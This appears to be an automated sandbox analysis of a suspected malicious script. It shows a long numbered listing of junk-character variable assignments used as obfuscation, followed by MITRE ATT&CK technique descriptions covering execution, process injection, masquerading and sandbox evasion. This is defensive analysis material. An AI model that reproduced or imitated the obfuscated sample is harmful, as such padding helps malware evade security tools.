237	uujsglc = "x";
238	uujsglc = "Q";
239	uujsglc = "F";
240	uujsglc = "z";
241	uujsglc = "p";
242	uujsglc = "W";
243	otrgfcx = "K";
244	otrgfcx = "f";
245	otrgfcx = "e";
246	otrgfcx = "B";
247	otrgfcx = "O";
248	otrgfcx = "T";
249	otrgfcx = "u";
250	otrgfcx = "G";
251	otrgfcx = "Y";
252	otrgfcx = "g";
253	otrgfcx = "n";
254	otrgfcx = "d";
255	otrgfcx = "Y";
256	otrgfcx = "H";
257	otrgfcx = "E";
258	otrgfcx = "k";
259	otrgfcx = "b";
260	otrgfcx = "X";
261	otrgfcx = "g";
262	otrgfcx = "k";
263	otrgfcx = "y";
264	otrgfcx = "w";
265	otrgfcx = "H";
266	otrgfcx = "Y";
267	otrgfcx = "m";
268	otrgfcx = "s";
269	otrgfcx = "L";
270	otrgfcx = "K";
271	otrgfcx = "v";
272	otrgfcx = "Q";
273	otrgfcx = "c";
274	otrgfcx = "X";
275	otrgfcx = "N";
276	otrgfcx = "Z";
277	otrgfcx = "M";
278	otrgfcx = "M";
279	otrgfcx = "f";
280	otrgfcx = "S";
281	otrgfcx = "B";
282	otrgfcx = "z";
283	otrgfcx = "r";
284	otrgfcx = "O";
285	vumywfzi = "i";
286	vumywfzi = "u";
287	vumywfzi = "c";
288	vumywfzi = "w";
289	vumywfzi = "4";
290	xyjgzkudr = "s";
291	xyjgzkudr = "o";
292	xyjgzkudr = "J";
293	xyjgzkudr = "6";
294	ijgek = "V";
295	ijgek = "g";
296	ijgek = "X";
297	ijgek = "C";
298	ijgek = "y";
299	ijgek = "L";
300	ijgek = "x";
301	ijgek = "J";
302	ijgek = "l";
303	ijgek = "I";
304	ijgek = "z";
305	ijgek = "H";
306	ijgek = "x";
307	ijgek = "K";
308	ijgek = "J";
309	ijgek = "T";
310	ijgek = "j";
311	ijgek = "Y";
312	ijgek = "V";
313	ijgek = "o";
314	ijgek = "y";
315	ijgek = "b";
316	ijgek = "P";
317	ijgek = "I";
318	ijgek = "V";
319	ijgek = "S";
320	ijgek = "x";
321	ijgek = "i";
322	ijgek = "J";
323	ijgek = "h";
324	ijgek = "z";
325	ijgek = "J";
326	ijgek = "z";
327	ijgek = "X";
328	ijgek = "O";
329	ijgek = "C";
330	ijgek = "w";
331	ijgek = "r";
332	ijgek = "d";
333	ijgek = "f";
334	ijgek = "t";
335	ormqd = "r";
336	ormqd = "x";
337	ormqd = "C";
338	ormqd = "f";
339	vplrtfwy = "Q";
340	vplrtfwy = "D";
341	vplrtfwy = "L";
342	vplrtfwy = "D";
343	vplrtfwy = "Y";
344	vplrtfwy = "R";
345	vplrtfwy = "W";
346	vplrtfwy = "g";
347	vplrtfwy = "U";
348	vplrtfwy = "b";
349	vplrtfwy = "T";
350	vplrtfwy = "F";
351	vplrtfwy = "Y";
352	vplrtfwy = "R";
353	vplrtfwy = "Y";
354	vplrtfwy = "A";
355	vplrtfwy = "v";
356	vplrtfwy = "u";
357	vplrtfwy = "c";
358	vplrtfwy = "i";
359	vplrtfwy = "U";
360	vplrtfwy = "M";
361	vplrtfwy = "H";
362	vplrtfwy = "g";
363	vplrtfwy = "E";
364	banmf = "f";
365	banmf = "y";
366	banmf = "Y";
367	banmf = "R";
368	banmf = "\\";
369	nitlpnar = "z";
370	nitlpnar = "D";
371	nitlpnar = "j";
372	nitlpnar = "F";
373	nitlpnar = "P";
374	nitlpnar = "Z";
375	nitlpnar = "X";
376	nitlpnar = "V";
377	nitlpnar = "Z";
378	nitlpnar = "m";
379	nitlpnar = "f";
380	nitlpnar = "d";
381	nitlpnar = "b";
382	nitlpnar = "y";
383	nitlpnar = "p";
384	nitlpnar = "z";
385	nitlpnar = "x";
386	nitlpnar = "x";
387	nitlpnar = "a";
388	nitlpnar = "N";
389	nitlpnar = "Z";
390	nitlpnar = "Y";
391	pdrehyasw = "q";
392	pdrehyasw = "R";
393	pdrehyasw = "u";
394	pdrehyasw = "x";
395	pdrehyasw = "z";
396	pdrehyasw = "W";
397	pdrehyasw = "X";
398	pdrehyasw = "f";
399	pdrehyasw = "P";
400	pdrehyasw = "t";
401	pdrehyasw = "W";
402	pdrehyasw = "C";
403	pdrehyasw = "x";
404	pdrehyasw = "C";
405	pdrehyasw = "l";
406	pdrehyasw = "b";
407	pdrehyasw = "&";
408	fbdqxch = "B";
409	fbdqxch = "l";
410	fbdqxch = "E";
411	fbdqxch = "v";
412	fbdqxch = "x";
413	fbdqxch = "P";
414	fbdqxch = "N";
415	fbdqxch = "b";
416	fbdqxch = "f";
417	fbdqxch = "Y";
418	fbdqxch = "G";
419	fbdqxch = "V";
420	fbdqxch = "k";
421	fbdqxch = "N";
422	fbdqxch = "N";
423	fbdqxch = "m";
424	fbdqxch = "J";
425	fbdqxch = "o";
426	fbdqxch = "l";
427	fbdqxch = "n";
428	fbdqxch = "b";
429	fbdqxch = "D";
430	fbdqxch = "i";
431	fbdqxch = "d";
432	fbdqxch = "q";
433	fbdqxch = "t";
434	fbdqxch = "V";
435	fbdqxch = "F";
436	fbdqxch = "J";
437	fbdqxch = "h";
438	fbdqxch = "I";
439	fbdqxch = "i";
440	fbbchp = "X";
441	fbbchp = "C";
442	fbbchp = "P";
443	fbbchp = "P";
444	fbbchp = "h";
445	fbbchp = "U";
446	fbbchp = "C";
447	fbbchp = "R";
448	fbbchp = "w";
449	fbbchp = "J";
450	fbbchp = "f";
451	fbbchp = "S";
452	fbbchp = "m";
453	fbbchp = "a";
454	fbbchp = "I";
455	fbbchp = "T";
456	fbbchp = "r";
457	fbbchp = "s";
458	fbbchp = "b";
459	fbbchp = "M";
460	fbbchp = "p";
461	fbbchp = "s";
462	fbbchp = "Z";
463	fbbchp = "g";
464	fbbchp = "K";
465	fbbchp = "j";
466	fbbchp = "I";
467	fbbchp = "O";
468	fbbchp = "y";
469	fbbchp = "u";
470	fbbchp = "a";
471	fbbchp = "r";
472	fbbchp = "T";
473	fbbchp = "G";
474	fbbchp = "V";
475	fbbchp = "g";
476	fbbchp = "-";
477	ppuuyvpgn = "g";
478	ppuuyvpgn = "i";
479	ppuuyvpgn = "T";
480	ppuuyvpgn = "P";
481	ppuuyvpgn = "l";
482	ppuuyvpgn = "p";
483	ppuuyvpgn = "O";
484	ppuuyvpgn = "K";
485	ppuuyvpgn = "m";
486	ppuuyvpgn = "T";
487	ppuuyvpgn = "K";
488	ppuuyvpgn = "H";
489	ppuuyvpgn = "N";
490	ppuuyvpgn = "h";
491	ppuuyvpgn = "8";
492	hqgrpw = "r";
493	hqgrpw = "m";
494	hqgrpw = "p";
495	hqgrpw = "w";
496	hqgrpw = "W";
497	hqgrpw = "e";
498	hqgrpw = "E";
499	hqgrpw = "H";
500	hqgrpw = "w";
501	hqgrpw = "O";
502	hqgrpw = "T";
503	hqgrpw = "N";
504	hqgrpw = "K";
505	hqgrpw = "q";
506	hqgrpw = "R";
507	hqgrpw = "o";
508	hqgrpw = "Y";
509	hqgrpw = "k";
510	hqgrpw = "Y";
511	hqgrpw = "N";
512	hqgrpw = "L";
513	hqgrpw = "R";
514	hqgrpw = "t";
515	hqgrpw = "E";
516	hqgrpw = "B";
517	hqgrpw = "C";
518	hqgrpw = "M";
519	hqgrpw = "e";
520	hqgrpw = "Z";
521	hqgrpw = "l";
522	wgmzgrzaw = "W";
523	wgmzgrzaw = "B";
524	wgmzgrzaw = "V";
525	wgmzgrzaw = "B";
526	wgmzgrzaw = "K";
527	wgmzgrzaw = "r";
528	oofdj = "b";
529	oofdj = "d";
530	oofdj = "S";
531	oofdj = "I";
532	oofdj = "K";
533	oofdj = "H";
534	oofdj = "E";
535	oofdj = "b";
536	oofdj = "x";
537	oofdj = "a";
538	oofdj = "Q";
539	oofdj = "i";
540	oofdj = "w";
541	oofdj = "u";
542	oofdj = "M";
543	oofdj = "s";
544	oofdj = "x";
545	oofdj = "z";
546	oofdj = "N";
547	oofdj = "m";
548	oofdj = "r";
549	oofdj = "f";
550	oofdj = "Z";
551	oofdj = "Q";
552	oofdj = "G";
553	oofdj = "p";
554	oofdj = "A";
555	oofdj = "r";
556	oofdj = "k";
557	oofdj = "l";
558	oofdj = "Q";
559	oofdj = "t";
560	oofdj = "V";
561	oofdj = "m";
562	oofdj = "X";
563	oofdj = "v";
564	oofdj = "f";
565	oofdj = "Z";
566	oofdj = "x";
567	oofdj = "u";
568	oofdj = "t";
569	oofdj = "D";
570	oofdj = "G";
571	oofdj = "v";
572	oofdj = "3";
573	xehug = "c";
574	xehug = "p";
575	xehug = "A";
576	xehug = "j";
577	xehug = "d";
578	xehug = "Q";
579	xehug = "A";
580	xehug = "J";
581	xehug = "U";
582	xehug = "f";
583	xehug = "P";
584	xehug = "a";
585	xehug = "k";
586	xehug = "X";
587	xehug = "d";
588	xehug = "q";
589	xehug = "r";
590	xehug = "y";
591	xehug = "V";
592	xehug = "o";
593	xehug = "F";
594	xehug = "M";
595	xehug = "E";
596	xehug = "G";
597	xehug = "v";
598	xehug = "J";
599	xehug = "X";
600	xehug = "K";
601	xehug = "A";
602	xehug = "b";
603	xehug = "x";
604	xehug = "r";
605	xehug = "b";
606	xehug = "p";
607	xgfuscda = "@";
608	pgjshfef = "T";
609	pgjshfef = "A";
610	pgjshfef = "q";
611	pgjshfef = "F";
612	pgjshfef = "k";
613	pgjshfef = "n";
614	pgjshfef = "l";
615	pgjshfef = "s";
616	pgjshfef = "U";
617	pgjshfef = "G";
618	pgjshfef = "W";
619	pgjshfef = "I";
620	pgjshfef = "P";
621	pgjshfef = "J";
622	pgjshfef = "H";
623	pgjshfef = "P";
624	pgjshfef = "C";
625	pgjshfef = "b";
626	pgjshfef = "Q";
627	pgjshfef = "K";
628	pgjshfef = "F";
629	pgjshfef = "C";
630	pgjshfef = "E";
631	pgjshfef = "i";
632	pgjshfef = "r";
633	pgjshfef = "k";
634	pgjshfef = "H";
635	pgjshfef = "U";
636	pgjshfef = "c";
637	pgjshfef = "e";
638	pgjshfef = "k";
639	pgjshfef = "u";
640	fisshsd = "w";
641	fisshsd = "A";
642	fisshsd = "x";
643	fisshsd = "x";
644	fisshsd = "b";
645	fisshsd = "k";
646	fisshsd = "w";
647	fisshsd = "o";
648	fisshsd = "Q";
649	fisshsd = "H";
650	fisshsd = "W";
651	fisshsd = "D";
652	fisshsd = "v";
653	fisshsd = "r";
654	fisshsd = "u";
655	fisshsd = "A";
656	fisshsd = "v";
657	fisshsd = "Z";
658	fisshsd = "Q";
659	fisshsd = "O";
660	fisshsd = "Q";
661	fisshsd = "U";
662	fisshsd = "Q";
663	fisshsd = "r";
664	fisshsd = "Z";
665	fisshsd = "O";
666	fisshsd = "G";
667	fisshsd = "i";
668	fisshsd = "H";
669	fisshsd = "v";
670	fisshsd = "e";
671	fisshsd = "u";
672	fisshsd = "c";
673	fisshsd = "G";
674	fisshsd = "V";
675	fisshsd = "Y";
676	fisshsd = "b";
677	fisshsd = "j";
678	fisshsd = "Q";
679	fisshsd = "e";
680	fisshsd = "Z";
681	fisshsd = "o";
682	fisshsd = "9";
683	wfqevvux = "D";
684	wfqevvux = "W";
685	wfqevvux = "e";
686	wfqevvux = "E";
687	wfqevvux = "J";
688	wfqevvux = "w";
689	wfqevvux = "i";
690	wfqevvux = "I";
691	bxqwlavkm = "Q";
692	bxqwlavkm = "Q";
693	bxqwlavkm = "x";
694	bxqwlavkm = "e";
695	bxqwlavkm = "j";
696	bxqwlavkm = "A";
697	bxqwlavkm = "x";
698	bxqwlavkm = "c";
699	bxqwlavkm = "n";
700	bxqwlavkm = "M";
701	bxqwlavkm = "X";
702	bxqwlavkm = "x";
703	bxqwlavkm = "n";
704	ydqlf = "M";
705	ydqlf = "q";
706	ydqlf = "S";
707	bmblhm = "P";
708	bmblhm = "V";
709	bmblhm = "X";
710	bmblhm = "A";
711	bmblhm = "b";
712	bmblhm = "x";
713	bmblhm = "k";
714	bkxrz = "z";
715	bkxrz = "Q";
716	bkxrz = "H";
717	bkxrz = "T";
718	bkxrz = "D";
719	bkxrz = "j";
720	bkxrz = "w";
721	bkxrz = "I";
722	bkxrz = "P";
723	bkxrz = "H";
724	bkxrz = "S";
725	bkxrz = "d";
726	jmwbax = "k";
727	jmwbax = "h";
728	jmwbax = "T";
729	jmwbax = "p";
730	jmwbax = "n";
731	jmwbax = "M";
732	jmwbax = "L";
733	jmwbax = "D";
734	jmwbax = " ";
735	alriadt = "B";
736	alriadt = "b";
737	alriadt = "C";
738	alriadt = "G";
739	alriadt = "x";
740	weaflua = "e";
741	weaflua = ":";
742	thyifqd = "K";
743	thyifqd = "b";
744	thyifqd = "L";
745	thyifqd = "L";
746	jjyfptexa = "b";
747	jjyfptexa = "J";
748	jjyfptexa = "n";
749	jjyfptexa = "W";
750	jjyfptexa = "N";
751	jjyfptexa = "a";
752	jjyfptexa = "b";
753	jjyfptexa = "p";
754	jjyfptexa = "y";
755	jjyfptexa = "n";
756	jjyfptexa = "j";
757	jjyfptexa = "m";
758	jjyfptexa = "d";
759	jjyfptexa = "X";
760	jjyfptexa = "B";
761	jjyfptexa = "O";
762	jjyfptexa = "P";
763	jjyfptexa = "U";
764	jjyfptexa = "w";
765	jjyfptexa = "j";
766	jjyfptexa = "F";
767	jjyfptexa = "F";
768	jjyfptexa = "l";
769	jjyfptexa = "G";
770	jjyfptexa = "x";
771	jjyfptexa = "e";
772	jjyfptexa = "C";
773	jjyfptexa = "o";
774	jjyfptexa = "K";
775	jjyfptexa = "q";
776	jjyfptexa = "Q";
777	jjyfptexa = "A";
778	jjyfptexa = "S";
779	jjyfptexa = "i";
780	jjyfptexa = "F";
781	jjyfptexa = "p";
782	jjyfptexa = "M";
783	jjyfptexa = "r";
784	jjyfptexa = "L";
785	jjyfptexa = "r";
786	jjyfptexa = "n";
787	jjyfptexa = "w";
788	frelhz = "C";
789	frelhz = "k";
790	frelhz = "Y";
791	frelhz = "D";
792	frelhz = "t";
793	frelhz = "o";
794	frelhz = "Q";
795	frelhz = "r";
796	frelhz = "U";
797	frelhz = "T";
798	frelhz = "o";
799	frelhz = "H";
800	frelhz = "A";
801	frelhz = "M";
802	frelhz = "e";
803	frelhz = "I";
804	frelhz = "S";
805	frelhz = "g";
806	frelhz = "y";
807	frelhz = "E";
808	frelhz = "W";
809	frelhz = "C";
810	frelhz = "C";
811	frelhz = "s";
812	frelhz = "S";
813	frelhz = "Z";
814	frelhz = "Q";
815	frelhz = "Q";
816	frelhz = "y";
817	frelhz = "U";
818	frelhz = "P";
819	frelhz = "A";
820	frelhz = "r";
821	frelhz = "Q";
822	frelhz = "q";
823	frelhz = "c";
824	frelhz = "y";
825	frelhz = "k";
826	frelhz = "d";
827	frelhz = "Z";
828	frelhz = "s";
829	frelhz = "H";
830	lvbldl = "a";
831	lvbldl = "e";
832	lvbldl = "r";
833	lvbldl = "A";
834	lvbldl = "a";
835	lvbldl = "G";
836	lvbldl = "l";
837	lvbldl = "/";
838	mdpef = "i";
839	mdpef = "L";
840	mdpef = "f";
841	mdpef = "T";
842	mdpef = "S";
843	mdpef = "z";
844	mdpef = "Y";
845	mdpef = "p";
846	mdpef = "j";
847	mdpef = "R";
848	mdpef = "N";
849	mdpef = "W";
850	mdpef = "r";
851	mdpef = "R";
852	mdpef = "a";
853	mdpef = "U";
854	mdpef = "j";
855	mdpef = "n";
856	mdpef = "R";
857	mdpef = "q";
858	mdpef = "j";
859	mdpef = "n";
860	mdpef = "a";
861	mdpef = "j";
862	mdpef = "g";
863	mdpef = "n";
864	mdpef = "c";
865	mdpef = "d";
866	mdpef = "x";
867	mdpef = "D";
868	mdpef = "b";
869	mdpef = "Q";
870	vvbpwt = "j";
871	vvbpwt = "d";
872	vvbpwt = "t";
873	vvbpwt = "L";
874	vvbpwt = "J";
875	vvbpwt = "U";
876	vvbpwt = "E";
877	vvbpwt = "c";
878	vvbpwt = "M";
879	vvbpwt = "X";
880	vvbpwt = "J";
881	vvbpwt = "Z";
882	vvbpwt = "L";
883	vvbpwt = "m";
884	vvbpwt = "j";
885	vvbpwt = "w";
886	vvbpwt = "U";
887	vvbpwt = "t";
888	vvbpwt = "S";
889	vvbpwt = "P";
890	vvbpwt = "H";
891	vvbpwt = "U";
892	vvbpwt = "T";
893	nkwznqr = "T";
894	nkwznqr = "W";
895	nkwznqr = "O";
896	nkwznqr = "I";
897	nkwznqr = "R";
898	nkwznqr = "A";
899	nkwznqr = "Q";
900	nkwznqr = "V";
901	nkwznqr = "f";
902	nkwznqr = "Q";
903	nkwznqr = "j";
904	nkwznqr = "a";
905	nkwznqr = "G";
906	nkwznqr = "t";
907	nkwznqr = "l";
908	nkwznqr = "A";
909	nkwznqr = "T";
910	nkwznqr = "t";
911	nkwznqr = "X";
912	nkwznqr = "G";
913	nkwznqr = "M";
914	nkwznqr = "v";
915	masjscpa = "e";
916	masjscpa = "p";
917	masjscpa = "g";
918	masjscpa = "q";
919	masjscpa = "N";
920	masjscpa = "c";
921	masjscpa = "i";
922	masjscpa = "P";
923	oqjfa = "j";
924	oqjfa = "I";
925	oqjfa = "h";
926	oqjfa = "O";
927	oqjfa = "e";
928	oqjfa = "v";
929	oqjfa = "t";
930	oqjfa = "M";
931	oqjfa = "y";
932	oqjfa = "P";
933	oqjfa = "P";
934	oqjfa = "p";
935	oqjfa = "Q";
936	oqjfa = "y";
937	oqjfa = "R";
938	oqjfa = "h";
939	oqjfa = "Z";
940	oqjfa = "T";
941	oqjfa = "l";
942	oqjfa = "s";
943	kcphopdma = "C";
944	kcphopdma = "M";
945	kcphopdma = "X";
946	kcphopdma = "w";
947	kcphopdma = "B";
948	kcphopdma = "g";
949	kcphopdma = "G";
950	kcphopdma = "X";
951	kcphopdma = "k";
952	kcphopdma = "p";
953	kcphopdma = "D";
954	kcphopdma = "Z";
955	kcphopdma = "q";
956	kcphopdma = "n";
957	kcphopdma = "G";
958	kcphopdma = "c";
959	kcphopdma = "D";
960	kcphopdma = "n";
961	kcphopdma = "N";
962	kcphopdma = "B";
963	kcphopdma = "r";
964	kcphopdma = "J";
965	kcphopdma = "Z";
966	kcphopdma = "Z";
967	kcphopdma = "Y";
968	kcphopdma = "z";
969	kcphopdma = "g";
970	kcphopdma = "a";
971	kcphopdma = "K";
972	kcphopdma = "H";
973	kcphopdma = "t";
974	kcphopdma = "o";
975	kcphopdma = "a";
976	kcphopdma = "h";
977	kcphopdma = "t";
978	kcphopdma = "V";
979	kcphopdma = "F";
980	kcphopdma = "z";
981	kcphopdma = "C";
982	moelfdz = "q";
983	moelfdz = "g";
984	moelfdz = "s";
985	moelfdz = "G";
986	moelfdz = "R";
987	moelfdz = "C";
988	moelfdz = "b";
989	moelfdz = "K";
990	moelfdz = "K";
991	qdopii = "h";
992	qdopii = "s";
993	qdopii = "A";
994	qdopii = "j";
995	qdopii = "d";
996	qdopii = "s";
997	qdopii = "U";
998	qdopii = "q";
999	qdopii = "s";
1000	qdopii = "X";
1001	qdopii = "O";
1002	qdopii = "k";
1003	qdopii = "v";
1004	qdopii = "w";
1005	qdopii = "y";
1006	qdopii = "Z";
1007	qdopii = "W";
1008	qdopii = "g";
1009	qdopii = "k";
1010	qdopii = "x";
1011	qdopii = "q";
1012	qdopii = "r";
1013	qdopii = "U";
1014	qdopii = "n";
1015	qdopii = "d";
1016	qdopii = "T";
1017	qdopii = "a";
1018	qdopii = "G";
1019	qdopii = "x";
1020	qdopii = "D";
1021	qdopii = "W";
1022	qdopii = "K";
1023	qdopii = "B";
1024	qdopii = "v";
1025	qdopii = "m";
1026	qdopii = "A";
1027	qdopii = "e";
1028	qdopii = "Q";
1029	qdopii = "q";
1030	enazmqpi = "i";
1031	enazmqpi = "h";
1032	enazmqpi = "B";
1033	enazmqpi = "m";
1034	enazmqpi = "e";
1035	enazmqpi = "p";
1036	enazmqpi = "T";
1037	enazmqpi = "E";
1038	enazmqpi = "g";
1039	enazmqpi = "S";
1040	enazmqpi = "s";
1041	enazmqpi = "A";
1042	enazmqpi = "f";
1043	enazmqpi = "M";
1044	enazmqpi = "b";
1045	enazmqpi = "Q";
1046	enazmqpi = "w";
1047	enazmqpi = "H";
1048	enazmqpi = "E";
1049	enazmqpi = "m";
1050	enazmqpi = "r";
1051	enazmqpi = "J";
1052	enazmqpi = "B";
1053	enazmqpi = "e";
1054	enazmqpi = "O";
1055	enazmqpi = "h";
1056	enazmqpi = "O";
1057	enazmqpi = "c";
1058	enazmqpi = ".";
1059	kgvqkwk = "z";
1060	kgvqkwk = "N";
1061	kgvqkwk = "S";
1062	kgvqkwk = "d";
1063	kgvqkwk = "t";
1064	kgvqkwk = "d";
1065	kgvqkwk = "b";
1066	kgvqkwk = "e";
1067	kgvqkwk = "s";
1068	kgvqkwk = "q";
1069	kgvqkwk = "R";
1070	kgvqkwk = "Y";
1071	kgvqkwk = "Z";
1072	kgvqkwk = "T";
1073	kgvqkwk = "l";
1074	kgvqkwk = "g";
1075	kgvqkwk = "x";
1076	kgvqkwk = "k";
1077	kgvqkwk = "f";
1078	kgvqkwk = "n";
1079	kgvqkwk = "L";
1080	kgvqkwk = "D";
1081	kgvqkwk = "j";
1082	kgvqkwk = "L";
1083	kgvqkwk = "C";
1084	kgvqkwk = "L";
1085	kgvqkwk = "Y";
1086	kgvqkwk = "h";
1087	kgvqkwk = "c";
1088	kgvqkwk = "S";
1089	kgvqkwk = "E";
1090	kgvqkwk = "O";
1091	kgvqkwk = "W";
1092	kgvqkwk = "k";
1093	kgvqkwk = "X";
1094	kgvqkwk = "P";
1095	kgvqkwk = "n";
1096	kgvqkwk = "M";
1097	kgvqkwk = "n";
1098	kgvqkwk = "F";
1099	kgvqkwk = "Z";
1100	kgvqkwk = "h";
1101	eimtodyj = "S";
1102	eimtodyj = "V";
1103	eimtodyj = "G";
1104	eimtodyj = "I";
1105	eimtodyj = "l";
1106	eimtodyj = "i";
1107	eimtodyj = "M";
1108	eimtodyj = "q";
1109	eimtodyj = "s";
1110	eimtodyj = "L";
1111	eimtodyj = "s";
1112	eimtodyj = "c";
1113	eimtodyj = "t";
1114	eimtodyj = "k";
1115	eimtodyj = "R";
1116	eimtodyj = "t";
1117	eimtodyj = "V";
1118	eimtodyj = "s";
1119	eimtodyj = "Z";
1120	eimtodyj = "M";
1121	eimtodyj = "N";
1122	eimtodyj = "R";
1123	ynpfzltz = "r";
1124	ynpfzltz = "c";
1125	ynpfzltz = "x";
1126	ynpfzltz = "p";
1127	ynpfzltz = "f";
1128	ynpfzltz = "b";
1129	ynpfzltz = "R";
1130	ynpfzltz = "q";
1131	ynpfzltz = "T";
1132	ynpfzltz = "Q";
1133	ynpfzltz = "\"";
1134	tluzuvq = "A";
1135	tluzuvq = "K";
1136	tluzuvq = "b";
1137	tluzuvq = "C";
1138	tluzuvq = "G";
1139	tluzuvq = "F";
1140	tluzuvq = "x";
1141	tluzuvq = "m";
1142	tluzuvq = "H";
1143	tluzuvq = "A";
1144	tluzuvq = "k";
1145	tluzuvq = "J";
1146	tluzuvq = "F";
1147	wbtevzttg = "w";
1148	wbtevzttg = "X";
1149	wbtevzttg = "V";
1150	wbtevzttg = "l";
1151	wbtevzttg = "w";
1152	wbtevzttg = "K";
1153	wbtevzttg = "j";
1154	wbtevzttg = "z";
1155	wbtevzttg = "J";
1156	wbtevzttg = "B";
1157	wbtevzttg = "a";
1158	wbtevzttg = "j";
1159	wbtevzttg = "d";
1160	wbtevzttg = "d";
1161	wbtevzttg = "b";
1162	wbtevzttg = "7";
1163	mlibz = "T";
1164	mlibz = "R";
1165	mlibz = "F";
1166	mlibz = "b";
1167	mlibz = "R";
1168	mlibz = "Y";
1169	mlibz = "x";
1170	mlibz = "X";
1171	mlibz = "T";
1172	mlibz = "H";
1173	mlibz = "1";
1174	ditvpr = "l";
1175	ditvpr = "b";
1176	ditvpr = "n";
1177	ditvpr = "h";
1178	ditvpr = "U";
1179	ditvpr = "x";
1180	ditvpr = "V";
1181	ditvpr = "t";
1182	ditvpr = "E";
1183	ditvpr = "j";
1184	ditvpr = "s";
1185	ditvpr = "J";
1186	ditvpr = "e";
1187	ditvpr = "J";
1188	ditvpr = "I";
1189	ditvpr = "S";
1190	ditvpr = "F";
1191	ditvpr = "J";
1192	ditvpr = "z";
1193	ditvpr = "f";
1194	ditvpr = "K";
1195	ditvpr = "n";
1196	ditvpr = "P";
1197	ditvpr = "t";
1198	ditvpr = "p";
1199	ditvpr = "L";
1200	ditvpr = "C";
1201	ditvpr = "E";
1202	ditvpr = "O";
1203	ditvpr = "N";
1204	ditvpr = "U";
1205	ditvpr = "R";
1206	ditvpr = "t";
1207	ditvpr = "X";
1208	ditvpr = "W";
1209	ditvpr = "F";
1210	ditvpr = "j";
1211	ditvpr = "J";
1212	ditvpr = "j";
1213	ditvpr = "h";
1214	ditvpr = "z";
1215	ditvpr = "T";
1216	ditvpr = "H";
1217	ditvpr = "_";
1218	boblz = "O";
1219	boblz = "P";
1220	boblz = "u";
1221	boblz = "m";
1222	boblz = "c";
1223	boblz = "N";
1224	boblz = "C";
1225	boblz = "C";
1226	boblz = "J";
1227	boblz = "t";
1228	boblz = "2";
1229	ypfjn ( );	ypfjn() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
